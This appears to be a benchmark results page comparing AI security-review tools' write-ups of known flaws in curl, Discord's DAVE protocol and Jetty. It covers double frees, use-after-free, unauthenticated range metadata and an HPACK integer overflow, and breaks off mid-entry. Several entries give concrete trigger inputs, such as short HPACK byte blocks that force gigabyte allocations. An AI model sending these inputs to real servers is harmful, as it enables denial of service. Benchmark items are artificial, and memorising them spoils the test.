- The transfer goes through an HTTP proxy with CURLOPT_HTTPPROXYTUNNEL, and the proxy refuses the CONNECT with a non-2xx reply and no retry.
##### What they get
Alice's process frees the tunnel state when the failed connection closes, and frees it again when the handle is reused or cleaned up. The usual result is a crash of Alice's script. Heap corruption beyond a crash is possible but is not shown here. Only the process running the transfer is affected.
##### How it works
1. connect_init() saves data->req.p.http, which is NULL for these protocols, and aims it at the tunnel state (http_proxy.c:190-191).
2. On a refusal, Curl_connect_done() leaves data->req.p.http unchanged because the saved pointer is NULL (http_proxy.c:216-218).
3. The failed connection is closed. conn_shutdown() does not clear the pointer because prot_save is NULL (url.c:758-763), and conn_free() frees the tunnel state (url.c:814).
4. Curl_close() or the next connect calls Curl_free_request_state(), which frees data->req.p.http again (url.c:421, url.c:4226, url.c:2257).
- Exploit scenario
-
Not specified.
- Recommendation
-
In Curl_connect_done(), always restore data->req.p.http from s->prot_save (including NULL) before clearing prot_save, as upstream curl 7.86.0 does. To check the fix, run an AddressSanitizer build that fetches a dict:// URL and a telnet:// URL through a test HTTP proxy that answers CONNECT with 403, then calls curl_easy_cleanup(). AddressSanitizer must report no double free.
Claude Security (Sonnet 5.5)
Double free of http_connect_state when an HTTP proxy rejects CONNECT for non-HTTP schemes (prot_save not restored)
curl/lib/http_proxy.c:216Predicted severity: High- Root cause
-
Vulnerable symbol: Curl_connect_done
Preconditions: An HTTP or HTTPS proxy is configured (CURLOPT_PROXY / env proxy); URL scheme is a non-HTTP protocol that does not allocate req.p.* in setup_connection (dict, gopher, ldap, ...), so tunnel_proxy is forced and prot_save is NULL; The proxy (or an on-path attacker for a plaintext proxy) returns a non-2xx response to CONNECT
Offending code:
if(s->prot_save)
- Impact
-
Heap double free / use-after-free reachable from a network peer (the proxy). Minimum effect is an abort (denial of service); with heap reuse between the two frees it can corrupt the allocator state and potentially yield code execution in the client process.
- Description
-
A malicious or on-path HTTP proxy answering a CONNECT with a non-2xx status makes Curl_connect_done() skip restoring data->req.p.http when prot_save is NULL, leaving it pointing at &s->http_proxy, which is the start of the heap-allocated connect_state; that block is then freed twice (Curl_free_request_state and conn_free).
- Exploit scenario
-
The client is configured with an HTTP(S) proxy and fetches e.g. dict://host/..., gopher://host/... or ldap://host/.... libcurl forces tunnel_proxy and calls Curl_proxyCONNECT(), which runs connect_init() and swaps data->req.p.http to &s->http_proxy with prot_save == NULL. The attacker-controlled proxy replies 'HTTP/1.1 403 Forbidden'. CONNECT() returns CURLE_RECV_ERROR, Curl_connect_done() runs but does not restore the pointer, Curl_disconnect()/conn_free() frees connect_state, and a later Curl_free_request_state() (next Curl_connect, curl_easy_reset or curl_easy_cleanup) frees data->req.p.http, which is the same chunk. For telnet, telnet_done() also dereferences and frees the stale pointer.
- Recommendation
-
Restore the protocol pointer unconditionally in Curl_connect_done() (data->req.p.http = s->prot_save; s->prot_save = NULL;) so that data->req.p.http never aliases memory owned by conn->connect_state. Prefer not to alias the connect state through req.p.http at all, and make telnet_done()/smb_done() tolerate a NULL pointer.
Claude Security (Opus 5.5)
Double free of the proxy CONNECT state when a tunnel is refused for dict/gopher/ldap/rtmp/telnet
curl/lib/http_proxy.c:216Predicted severity: Medium- Root cause
-
Vulnerable symbol: Curl_connect_done
Preconditions: Transfer goes through an HTTP proxy (tunnel forced for non-HTTP schemes); URL scheme is dict, gopher(s), ldap(s), rtmp(s) or telnet; Proxy answers CONNECT with a non-2xx status (attacker-controlled or ordinary policy denial)
Offending code:
if(s->prot_save)
- Impact
-
Heap double free in the client process. This reliably crashes it and can lead to heap corruption and code execution.
- Description
-
connect_init() points data->req.p.http at &s->http_proxy, which is also the start address of the heap-allocated conn->connect_state. The pointer is only put back when prot_save is non-NULL. For protocols that allocate nothing in req.p before connecting, prot_save is NULL, so req.p.http keeps pointing at connect_state. conn_free() then frees connect_state (url.c:814) and Curl_free_request_state() frees the same pointer again (url.c:2259).
- Exploit scenario
-
A user runs curl or a libcurl app through an HTTP proxy (-x, or all_proxy) with a dict://, gopher://, ldap://, rtmp:// or telnet:// URL. These schemes are always tunnelled (url.c:2785). The proxy, whether malicious or just a normal Squid that refuses CONNECT to non-443 ports, answers the CONNECT with 403. Curl_connect_done() leaves req.p.http aliased to connect_state, the stream-error path disconnects and frees connect_state, and the next Curl_free_request_state() (on handle cleanup, a --retry, or reuse of the handle) frees it a second time.
- Recommendation
-
Always restore data->req.p.http = s->prot_save in Curl_connect_done(), even when prot_save is NULL, so the aliasing into connect_state never outlives the CONNECT phase. Then remove the special-case free of prot_save in conn_shutdown(). This matches the upstream fix for CVE-2022-42915.
-
Use after free while using parallel option and sequences curl-10 · 3 writeups High
V12
Failed lookahead frees an active transfer's error buffer
curl/src/tool_operate.c:2226Predicted severity: High- Root cause
-
Admission and error-buffer ownership are committed only after a fallible, unrelated lookahead operation. The failure branch frees a resource still borrowed by an already-admitted easy handle instead of rolling back the admission or preserving that resource.
- Impact
-
This creates a heap use-after-free write in the CLI, rather than only a leaked or skipped transfer. A failing lookahead configuration or allocation is required; after that failure, a remote endpoint can drive the still-admitted transfer into error reporting against freed storage, with crash or heap-corruption consequences.
- Description
-
Parallel admission installs
errorbufon an easy handle and adds that handle to the multi before attempting to construct the next transfer. If this lookahead construction fails, it freeserrorbufand returns without removing the admitted handle or committingper->addedandper->errorbuffer. During a later scheduler refill, a nonfatal construction error does not immediately stopcurl_multi_perform(), so the admitted handle can execute with its error-buffer pointer already freed. Libcurl'sCurl_failf()writes through that pointer when the endpoint causes a transfer error. If the admitted object is a retry,per->errorbufferalready aliases the freed allocation, additionally exposing finalization to a dangling read and another free.
Devin Security (Deep)
Parallel transfer setup frees the error buffer while the handle is still running
curl/src/tool_operate.c:2222Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If a later URL on a
--parallelcommand line fails to set up, curl keeps running an earlier transfer that writes its error messages into freed heap memory, which can crash curl or corrupt its memory.##### What's wrong
This is a use-after-free. Memory is freed, but a live pointer to it is still used.
add_parallel_transfers()gives the easy handle a fresh error buffer withCURLOPT_ERRORBUFFERand adds the handle to the multi handle. It then callscreate_transfer()to prepare the next URL. If that call fails, the code frees the error buffer and returns. The handle stays inside the multi handle, still pointing at the freed buffer, and the main loop keeps driving it. The entry is also left withadded = FALSE, so the next round tries to add it again.##### Who can do it
Alice runs
curl -Z https://downloads.acme.example/big.iso -O https://downloads.acme.example/from a script. The second URL has no file name, so its setup fails with "Remote file name has no length". That error is not treated as fatal, so curl keeps running the first download. Later, the first download hits an error or the server makes it fail (for example, a dropped connection or a--failHTTP error). libcurl then copies the error text into the freed buffer.- Alice uses
--parallel(or-Z).- A transfer created after the first one fails during setup with a non-fatal error (for example
CURLE_WRITE_ERRORfrom an unwritable-Dheader file or an empty-Oname, orCURLE_READ_ERRORfrom a missing--etag-comparefile).-
--fail-earlyis not set.- The still-running transfer reaches an error path. The server on the other end can cause that.
##### What they get
libcurl writes an error string of up to 256 bytes into a heap chunk that may already be reused, and
curl_multi_add_handlealso writes a NUL byte into it. In the retry case, the same pointer can be freed twice. The realistic outcome is a crash or corrupted memory in Alice's curl process. The server controls only when the error happens and parts of the error text, so taking control of the process is unlikely. The problem stays inside the one curl process.##### How it works
1.
add_parallel_transfers()allocateserrorbuf(or reusesper->errorbufferon a retry) and sets it asCURLOPT_ERRORBUFFER(tool_operate.c:2226-2241).2. The handle is added to the multi handle (tool_operate.c:2243).
3.
create_transfer()for the next URL fails, and the code callsfree(errorbuf)and returns without removing the handle or clearing the option (tool_operate.c:2249-2253). On a retry this freesper->errorbuffer, but the pointer stays set.4.
parallel_transfers()stores the error, but the error is not fatal, so the loop keeps callingcurl_multi_perform()(tool_operate.c:2367-2377).5. When the running transfer fails,
Curl_failf()copies the message into the freed buffer withstrcpy(lib/sendf.c:274-275).6. On the next round the same entry is seen as not added.
pre_transfer()runs again and opens a second upload descriptor, and the add fails with an "already added" error that frees the buffer again (tool_operate.c:2213-2247). - Exploit scenario
-
Not specified.
- Recommendation
-
Set
per->added = TRUEbefore callingpre_transfer()so a failed round never re-adds the same entry. SetCURLOPT_ERRORBUFFERandper->errorbufferonly aftercurl_multi_add_handle()and the follow-upcreate_transfer()both succeed. Ifcreate_transfer()fails after the handle was added, first callcurl_multi_remove_handle()(or clearCURLOPT_ERRORBUFFER) and only then free the buffer, and setper->errorbuffer = NULLwhenever it is freed (including inpost_per_transfer()). To check the fix, runcurl -Z https://slow.example/ -O http://host/under AddressSanitizer against a test server that drops the first connection, and confirm there is no use-after-free or double-free report.
Claude Security (Opus 5.5)
Parallel mode frees the error buffer while the easy handle stays in the multi handle, causing use-after-free write and double free
curl/src/tool_operate.c:2251Predicted severity: Low- Root cause
-
Vulnerable symbol: add_parallel_transfers
Preconditions: curl runs with parallel transfers (-Z/--parallel); A later URL's transfer setup fails in single_transfer(): for example, -O/--remote-name-all on a URL with no file-name part ('Remote file name has no length!'), a bad glob, or a failing -D/--etag/resume fopen; Enough transfers are queued that the failure happens inside the add loop rather than in the initial call. With parallel_max*2 per entries, the top-of-function create_transfer call is skipped; failing calls keep adding entries until that limit is reached; For a write into freed memory, the in-flight transfer must hit any libcurl failf. A malicious or flaky server can force this, for example by resetting the connection. For the double free, --retry plus a 408/429/5xx response from the server
Offending code:
free(errorbuf);
- Impact
-
Heap use-after-free write of up to 256 bytes of error text, plus a double free of the same chunk. This corrupts heap memory in the curl process: at minimum a crash or abort (DoS), and possibly control-flow hijack given heap grooming.
- Description
-
add_parallel_transfers registers errorbuf with CURLOPT_ERRORBUFFER and adds the handle to the multi handle before it calls create_transfer(). If create_transfer() fails, the code frees errorbuf but never removes the handle and never clears the option. libcurl then runs the transfer and Curl_failf (lib/sendf.c:274-275) strcpy's error text into the freed chunk. If the buffer was reused after a retry (per->errorbuffer), post_per_transfer later reads it and frees it a second time.
- Exploit scenario
-
A user fetches a URL list in parallel, e.g.
curl -Z --retry 3 --remote-name-all https://evil.example/a ... https://host/dir/, where the list may be attacker-supplied or come from a config file. The attacker's server answers 503 for transfer A, so A is queued for retry and keeps per->errorbuffer. When A is re-added, the next create_transfer() fails on the directory URL. add_parallel_transfers frees A's error buffer, but A is already in the multi handle with that buffer registered. The attacker's server then resets the connection, and libcurl strcpy's the error string into the freed (and possibly reused) 256-byte chunk. When A finishes, post_per_transfer prints the freed buffer and frees it again (double free). Without --retry the same path gives a use-after-free write into a fresh, already-freed buffer. - Recommendation
-
Set CURLOPT_ERRORBUFFER and call curl_multi_add_handle only after create_transfer() succeeds, or on failure call curl_multi_remove_handle() and reset CURLOPT_ERRORBUFFER to NULL before freeing. Never free a buffer that is still stored in per->errorbuffer without also setting per->errorbuffer = NULL. Do not free per->errorbuffer in the error path when it was reused from a previous attempt.
-
-
Discord DAVE C++ Discord DAVE end-to-end encryption protocol. Tasks 5 V12 2/5 Devin (Deep) 0/5 Devin 0/5 Codex Sec 1/5 Claude Sec 0/5 Claude Opus 1/5 Vercel 1/5
Discord DAVE end-to-end encryption protocol.
- Undefined behavior in frame processor discord-dave-protocol-1 Medium
- Insufficient validation of unencrypted ranges discord-dave-protocol-2 Medium
-
Unencrypted range offsets and sizes are not authenticated discord-dave-protocol-6 · 4 writeups Medium
V12
Unbound range offsets permit authenticated frame rearrangement
cpp/frame_processors.cpp:228Predicted severity: Medium- Root cause
-
The range offsets determine the authenticated media layout but are omitted from the AEAD-associated data. Authenticating only the concatenated unencrypted bytes does not authenticate their positions relative to the encrypted payload.
- Impact
-
A modified encrypted video frame can pass AEAD verification while yielding different reconstructed media bytes, violating frame integrity without knowledge of the media key. The demonstrated transformation changes byte placement rather than granting arbitrary plaintext control; its codec-specific effects may include rejected or corrupted media.
- Description
-
The inbound processor authenticates the concatenation of unencrypted ranges, but does not bind their offsets to the AEAD verification.
ParseFrame()uses wire-supplied ranges to separate authenticated bytes from ciphertext, andDecryptImpl()passes only those two byte streams, the nonce, and the tag to the cryptor. An intermediary can move an unencrypted header byte across ciphertext bytes and update its range offset while preserving both concatenated streams and the original tag. Verification therefore receives the same cryptographic inputs, but reconstruction places the decrypted bytes and header at different positions. Range ordering and bounds validation do not prevent this transformation because both layouts can satisfy those checks.
Codex Security (GPT-6 Sol)
Changing unauthenticated range metadata can alter a decrypted frame
cpp/encryptor.cpp:81Predicted severity: Medium- Root cause
-
The sender authenticates clear byte values but omits their range positions. The receiver uses unauthenticated range metadata to repartition the same wire bytes into AAD and ciphertext, then reconstructs the output according to the changed positions. Equal adjacent wire bytes let a one-byte range move without changing either byte string supplied to AEAD.
- Impact
-
A network media adversary can alter authenticated output under an observable byte condition, but the demonstrated impact is limited media integrity loss.
- Description
-
A media packet with equal adjacent clear and ciphertext bytes can have its range offsets changed without invalidating the AEAD tag, causing the receiver to reorder decrypted bytes.
- Exploit scenario
-
wire frame and range metadata -> AAD/ciphertext partition -> AEAD verification -> range-based reconstruction
- Recommendation
-
Include the encoded range positions and lengths in AEAD AAD, and validate them against the media portion before decryption.
Claude Security (Opus 5.5)
Unencrypted-range layout metadata is outside the AES-GCM integrity check, so an on-path party can rearrange decrypted frames without failing authentication
cpp/frame_processors.cpp:259Predicted severity: Low- Root cause
-
Vulnerable symbol: InboundFrameProcessor::ParseFrame
Preconditions: Attacker can modify encrypted media frames in transit, e.g. a malicious or compromised Discord SFU/voice server, which is the party E2EE is meant to protect against; The frame has at least one unencrypted range (VP8, H264, H265 or AV1 video), or the attacker splits an existing range
Offending code:
AddAuthenticatedBytes(frame.data() + range.offset, range.size);
- Impact
-
Frame-layout integrity is lost on the E2EE channel. An untrusted relay can make receivers accept and decode authenticated-but-rearranged frames, for example by splitting NAL units differently or moving codec headers into plaintext. It cannot forge new bytes or read the plaintext. Impact is limited to media corruption and feeding decoders crafted structures built from authentic pieces.
- Description
-
The (offset,size) range list is read from the frame's unauthenticated supplemental trailer (DeserializeUnencryptedRanges, line 231). ParseFrame trusts it to pick which wire bytes go into the AAD (line 259) and which go into the ciphertext (lines 255/264). The tag only covers the concatenated AAD and ciphertext strings, so any re-interleaving that keeps both strings unchanged still verifies. Reconstruct (lines 144-153) then writes the plaintext out using the attacker's layout. Also CWE-345: The unencrypted-range list (offset, size pairs) comes from the frame's supplemental trailer, which the tag does not cover. ParseFrame uses that list to split the frame into AAD and ciphertext, and Reconstruct uses it again to rebuild the output. The AAD is only the concatenated unencrypted bytes and the ciphertext is the concatenated gaps, so any re-split that keeps both concatenations the same still passes the GCM tag check.
- Exploit scenario
-
A sender emits an H264 frame laid out as [startcode+NAL header+PPS bytes (U, range (0,6))][slice payload ciphertext C]. The SFU rewrites it as C[0:k] || U || C[k:] and swaps the trailer's range list for (k,6), recomputing the supplemental-size byte. The receiver's AAD is still U and its ciphertext is still C, so AES-GCM verifies. The receiver then rebuilds P[0:k] || U || P[k:], putting the start code and NAL header inside the decrypted slice data. The attacker can also split U into several ranges and scatter them. The receiver accepts and decodes a frame whose structure differs from what the sender produced.
- Recommendation
-
Bind the layout to the AEAD. Include the serialized unencrypted-range bytes, and ideally the whole supplemental trailer except the tag, in the GCM additional data on both encrypt and decrypt. Alternatively, authenticate an interleaving-sensitive encoding such as per-range (offset,size) pairs plus the bytes. Also validate ranges against actualFrameSize (frame.size() - supplementalBytesSize), not frame.size(), so ranges cannot reach into the trailer. Also CWE-345: Bind the frame layout into the AEAD. Include the serialized unencrypted ranges, or an encoding of each range's offset and length, together with the total frame length in the GCM additional data on both encrypt (encryptor.cpp additionalData) and decrypt (ParseFrame/DecryptImpl). Also check that ranges do not extend into the supplemental trailer: validate against frame.size() - supplementalBytesSize rather than frame.size().
Vercel Security Review
Unauthenticated range metadata permits tampering with decrypted video
cpp/encryptor.cpp:84Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new encryptor authenticates concatenated cleartext bytes, excluding their range offsets and lengths** -
cpp/encryptor.cpp:84-86```cpp title="cpp/encryptor.cpp:84-86"
auto additionalData = MakeArrayView(unencryptedBytes.data(), unencryptedBytes.size());
auto plaintextBuffer = MakeArrayView(encryptedBytes.data(), encryptedBytes.size());
auto ciphertextBuffer = MakeArrayView(ciphertextBytes.data(), ciphertextBytes.size());
```
**2. A malicious relay without media keys can move cleartext segments and rewrite the transmitted ranges, preserving the concatenated authenticated bytes and ciphertext** -
cpp/frame_processors.cpp:258-260```cpp title="cpp/frame_processors.cpp:258-260"
assert(range.offset + range.size <= frame.size());
AddAuthenticatedBytes(frame.data() + range.offset, range.size);
frameIndex = range.offset + range.size;
```
**3. The original nonce and tag still verify, but reconstruction uses the altered ranges, accepting different plaintext video as authentic** -
cpp/frame_processors.cpp:287```cpp title="cpp/frame_processors.cpp:287"
return Reconstruct(unencryptedRanges_, authenticated_, plaintext_, frame);
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Bind a canonical serialization of the range offsets and lengths into AEAD additional authenticated data on both encryption and decryption. Validate that ranges are entirely within the media payload, and reject metadata changes before reconstructing the plaintext.
-
Sensitive data is not cleared from memory discord-dave-protocol-13 · 1 writeup Medium
V12
Pooled processors retain decrypted media after use
cpp/frame_processors.h:48Predicted severity: Informational- Root cause
-
Processor return performs no plaintext cleanup, and
InboundFrameProcessor::Clear()uses ordinary vector clearing rather than secure overwriting. Buffer pooling therefore extends the lifetime of decrypted media beyond the operation that needed it. - Impact
-
The unresolved security question is whether pooled decrypted media outlives the integration's confidentiality boundary—for example, an expected purge when media processing or an MLS epoch ends. The exact missing facts are the native consumer's plaintext-purge policy and the concrete exposure of retained process memory; the searched boundary covers processor clearing, decryptor pooling and transitions, the AEAD wrapper, repository documentation, and tests, none of which establish that lifetime policy or a memory-disclosure path.
- Description
-
Decryptorreturns anInboundFrameProcessorto its pool without clearing its buffers, including after successful decryption and reconstruction failure caused by an undersized destination. The processor retains the decrypted media inplaintext_until its next parse, and silence handling skips parsing entirely. Even when parsing callsClear(),std::vector::clear()removes logical elements without securely overwriting the byte allocation. Authentication failure does not trigger a processor wipe either, although the supplied BoringSSL wrapper does not establish which output bytes its dependency leaves on failure. The verified defect is therefore retention of previously successful plaintext in pooled storage, not a proven release of unauthenticated or stale plaintext to the caller.
- Static key ratchet used in production code discord-dave-protocol-15 High
-
-
Eclipse Jetty Java JVM web server and servlet container. Tasks 15 V12 12/15 Devin (Deep) 10/15 Devin 6/15 Codex Sec 4/15 Claude Sec 6/15 Claude Opus 7/15 Vercel 4/15
JVM web server and servlet container.
-
Risk of integer overflow that could allow HpackDecoder to exceed maxHeaderSize eclipse-jetty-1 · 6 writeups Medium
V12
Tiny literals trigger enormous heap allocations
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/HpackDecoder.java:71Predicted severity: High- Root cause
-
The literal-length check in
MetaDataBuilder.checkSize()can overflow, andHuffman.decode()trusts that length for eager allocation without first bounding it by the actual input or a safe decoded-size ceiling. - Impact
-
A remote HTTP/2 peer can cause a roughly 1.6-billion-character-capacity allocation attempt with a nine-byte HPACK block, independently of the configured ordinary header limit. This creates a process-wide memory-exhaustion and garbage-collection denial-of-service risk; the caller's throwable handler does not establish an uncaught process crash.
- Description
-
The Huffman literal-size precheck uses signed
intarithmetic for(length * 4) / 3, andHuffman.decode()allocatesUtf8StringBuilder(length * 2)before reading any encoded bytes. A peer can declare a large positive literal length in a tiny header block so that the precheck wraps negative while the allocation capacity remains a very large positive number. For example, source-level evaluation of000178ff81ffffff02gives namexand a Huffman value length of 805306368, making the checked estimate -357913941 and the initial string-builder capacity 1610612736. The encoded block itself passes the normal 8192-byte block ceiling, and there is no comparison between the declared literal length andbuffer.remaining()before allocation. The outer parser catches resulting throwables as connection errors, but that happens after the allocation attempt and does not prevent heap pressure.
Devin Security (Deep)
HPACK header size check overflows, so a ten-byte HTTP/2 header block makes the server allocate up to 2 GB
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:291Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can open an HTTP/2 connection can make the Jetty server allocate 1 to 2 GB of memory with a header block of about ten bytes, and repeating it can stall or crash the whole server for every user, though no data is exposed.
##### What's wrong
This is an integer overflow in a size check.
MetaDataBuilder.checkSizemultiplies the length the peer declares for a Huffman string by 4 in a 32-bit int. A large length wraps to a negative number and passes the header size limit. The decoder then sizes a buffer from the original length, which was never checked.##### Who can do it
Alice runs a public website on Jetty with HTTP/2 enabled. Mallory is an anonymous visitor. She opens an HTTP/2 connection and sends a HEADERS frame with one header whose Huffman-encoded name claims a length of 805,306,368 bytes (0x30000000). The whole header block is the bytes
00 FF 81 FF FF FF 02. She repeats this on many connections at once.- The server has an HTTP/2 connector (h2 or h2c) that the attacker can reach.
- No account or login is needed. HPACK decoding runs before any application code or authentication.
- The Jetty HTTP/2 client uses the same decoder, so a malicious server can do the same thing to a Jetty client.
##### What they get
Each request makes the server allocate a 1.5 GB array before it reads a single header byte. Mallory can send this over many connections to use up the Java heap or force constant full garbage collection. Alice's site then stops answering all of its users, and unrelated threads can fail with out-of-memory errors. Mallory gets no data and no code execution.
##### How it works
1.
HpackDecoder.decodereads the name length withNBitInteger.decodeat HpackDecoder.java:167.NBitInteger.decodeadds continuation bytes with no overflow check (NBitInteger.java:132-143), so the peer can choose any 32-bit value.2.
HpackDecodercalls_builder.checkSize(length, true)at HpackDecoder.java:168.3.
checkSizecomputes(length * 4) / 3at MetaDataBuilder.java:295. For 0x30000000 this wraps to -357,913,941, so the test(_size + length) > _maxSizeat line 296 is false and no error is thrown.4.
checkSizeonly changed its own copy oflength, soHpackDecoderpasses the original 0x30000000 toHuffman.decodeat HpackDecoder.java:170.5.
Huffman.decoderunsnew Utf8StringBuilder(length * 2)at Huffman.java:359. This allocates a 1,610,612,736-byte array.6. The only other guard, at HpackDecoder.java:72, limits the number of bytes in the block, not the declared string length, so it does not stop this. The header value path at HpackDecoder.java:207-211 has the same flaw.
- Exploit scenario
-
Not specified.
- Recommendation
-
In
checkSize, throw aSessionExceptionwhenlength < 0, and compute the Huffman estimate in long (or withMath.multiplyExact) before comparing it with_maxSize. InHpackDecoder, also reject any declared string length larger thanbuffer.remaining()before callingHuffman.decodeortoASCIIString. MakeNBitInteger.decodefail on overflow, for example withMath.addExactandMath.multiplyExactor a cap on continuation bytes. To check the fix, add a unit test that passes the bytes00 FF 81 FF FF FF 02toHpackDecoder.decodeand asserts that it throwsHpackException.SessionException. Run the test with a small heap such as-Xmx64mand confirm that no OutOfMemoryError occurs.
Devin Security
HPACK header size check overflows and lets one small HEADERS frame force a gigabyte-sized allocation
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:291Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can open an HTTP/2 connection can send a few bytes that make the server try to allocate over a gigabyte of memory, which can crash or stall the whole server for every user.
##### What's wrong
This is an integer overflow in a size limit check.
MetaDataBuilder.checkSizemultiplies the attacker-declared string length by 4 with plainintmath for the Huffman "fudge factor". A large length wraps to a negative number, so the check(_size + length) > _maxSizepasses. The non-Huffman branch has the same problem through_size + length. The decoder then sizes a buffer from the original huge length. This matches the known Jetty issue CVE-2023-36478, which upstream fixed withMath.multiplyExactand an overflow-checked integer decoder. The QPACK module in this repo already usesMath.addExact/Math.multiplyExactinNBitIntegerParser, but the HPACK path does not.##### Who can do it
Alice runs Acme Corp's public website on Jetty with HTTP/2 enabled. Mallory, an anonymous internet user, opens an HTTP/2 connection and sends one HEADERS frame of a few dozen bytes. The frame holds a literal header whose Huffman string length is encoded as about 805 million (0x30000000).
- The server has an HTTP/2 connector (h2 or h2c) reachable by the attacker.
- No login or prior state is needed.
- The same decoder runs in the Jetty HTTP/2 client, so a malicious server can do the same to a Jetty client.
##### What they get
Each frame makes the server attempt a 1.6 GB allocation. On a large heap the allocation succeeds and holds memory until the parse fails. On a smaller heap it raises OutOfMemoryError. A few parallel connections exhaust the heap, so other requests for every Acme user fail or the JVM stops responding. Mallory gets no data. The harm is loss of availability for the whole server.
##### How it works
1.
HpackDecoder.decodeonly rejects blocks whose byte count exceeds the max header size, so a tiny block passes (HpackDecoder.java:71).2.
NBitInteger.decodereads the string length as a variable-length integer with no overflow or range check (NBitInteger.java:105-143).3.
MetaDataBuilder.checkSizecomputes(length * 4) / 3, which wraps negative for lengths above about 536 million, so the limit check passes (MetaDataBuilder.java:291-297).4.
Huffman.decodethen createsnew Utf8StringBuilder(length * 2), a roughly 1.6 GB buffer, before reading any bytes (HpackDecoder.java:170, 211; Huffman.java:359).5. For non-Huffman strings,
_size + lengthcan also wrap whenlengthis close toInteger.MAX_VALUE, andtoASCIIStringallocatesnew StringBuilder(length)(HpackDecoder.java:172, 213, 304). - Exploit scenario
-
Not specified.
- Recommendation
-
In checkSize, reject negative lengths and compute with overflow-safe math, for example
if (length < 0) throw ...; long l = huffman ? (long)length * 4 / 3 : length; if (_size + l > _maxSize) throw .... Make NBitInteger.decode detect overflow with Math.addExact/Math.multiplyExact, or port the upstream NBitIntegerDecoder. As defense in depth, also reject a string length larger than buffer.remaining() before allocating. To verify the fix, add a unit test that feeds HpackDecoder a literal header with Huffman length 0x30000000 and with raw length 0x7FFFFFF0 after one prior field. Assert that each case throws HpackException.SessionException and allocates nothing large.
Claude Security (Sonnet 5.5)
HPACK string-length integer overflow in checkSize bypasses header size limit and triggers 1-2 GiB allocation
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:295Predicted severity: High- Root cause
-
Vulnerable symbol: MetaDataBuilder.checkSize
Preconditions: HTTP/2 (h2 or h2c) is enabled on the connector or client; Attacker can complete the HTTP/2 preface
Offending code:
length = (length * 4) / 3;
- Impact
-
A single unauthenticated remote peer can drive the JVM into heap exhaustion or sustained GC thrash and make the server unavailable. Each attack frame is about 20 bytes, so amplification is very high. This is the same class as CVE-2023-36478.
- Description
-
The attacker-controlled HPACK string length is decoded by NBitInteger.decode with no overflow check and passed to checkSize. The int multiplication by 4 wraps negative for lengths >= 2^29, so the
_size + length > _maxSizecheck is skipped. HpackDecoder then calls Huffman.decode(buffer, length), which doesnew Utf8StringBuilder(length * 2)and allocates about 1-2 GiB. - Exploit scenario
-
The attacker opens an HTTP/2 connection (h2c prior-knowledge or ALPN h2) and sends the preface. It then sends a HEADERS frame (stream 1, END_HEADERS) whose HPACK block is 00 FF 80 80 80 80 02. The first byte is a literal with a new name. FF sets the Huffman flag and the 7-bit prefix 127. The continuation bytes decode to length = 127 + 2*2^28 = 536871039. checkSize computes 536871039*4 = -2147483140 as an int, then /3 = -715827713, so the limit check passes. Huffman.decode allocates a StringBuilder with capacity 1073742078, about 1 GiB. The decode loop then fails with BufferUnderflowException, which Parser.parse catches, but the allocation has already happened. Repeating this on one or many connections causes OutOfMemoryError, repeated full GCs or humongous-allocation stalls. The same path works for the value length (HpackDecoder.java:208-211) and for HTTP/2 clients reading responses from a hostile server.
- Recommendation
-
Make NBitInteger.decode overflow-safe (Math.addExact/multiplyExact, or cap at a sane maximum and throw a CompressionException). Compute the Huffman fudge factor in long arithmetic in MetaDataBuilder.checkSize, rejecting any length > maxSize or > buffer.remaining() before the multiplication. Validate
length <= buffer.remaining()in HpackDecoder before calling Huffman.decode or toASCIIString. Do not size Utf8StringBuilder from untrusted lengths without that bound.
Claude Security (Opus 5.5)
Integer overflow in the HPACK Huffman size check bypasses the header size limit and forces allocations of 1 GiB or more
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:295Predicted severity: High- Root cause
-
Vulnerable symbol: MetaDataBuilder.checkSize
Preconditions: Network access to an HTTP/2 (h2 or h2c) listener. For the client side, a malicious HTTP/2 server talking to Jetty's HTTP2Client.
Offending code:
length = (length * 4) / 3;
- Impact
-
Unauthenticated remote denial of service. Each tiny frame forces a gigabyte-scale allocation, causing OutOfMemoryError or GC thrashing that affects every connection and application on the server. The same applies to Jetty HTTP/2 clients facing a malicious server. This is the issue tracked as CVE-2023-36478.
- Description
-
A peer-supplied HPACK string length (NBitInteger.decode, which has no upper bound) is multiplied by 4 in int arithmetic. For lengths in [2^29, 2^30) the product wraps to a negative number, so the maxHeaderSize check passes. Huffman.decode then calls new Utf8StringBuilder(length*2), which allocates a 1-2 GiB backing array before reading a single byte.
- Exploit scenario
-
An unauthenticated client sends a HEADERS frame whose 7-byte HPACK block is 01 FF 81 FF FF FF 01. That is a literal with name index 1 and a Huffman value whose declared length is 536870912 (2^29). checkSize computes (2^29*4)/3 = -715827882, which is below 8192, so the check passes. Huffman.decode then allocates a StringBuilder with capacity 2^30, about 1 GiB, and throws BufferUnderflowException only after the allocation. Repeating this across many concurrent connections or reconnects exhausts the heap. Lengths near 2^30 cause an immediate OutOfMemoryError.
- Recommendation
-
Use overflow-safe arithmetic (Math.multiplyExact, or long math) and reject negative lengths. Bound every decoded string length by both buffer.remaining() and the remaining header budget before allocating. Make NBitInteger.decode reject values that overflow int or exceed a sane octet count. Do not presize the Huffman builder from an unchecked length.
Vercel Security Review
HPACK length-check overflow permits multi-gigabyte allocations from tiny header blocks
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/HpackDecoder.java:206Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A remote HTTP/2 peer supplies a declared string length independently of the actual bytes** -
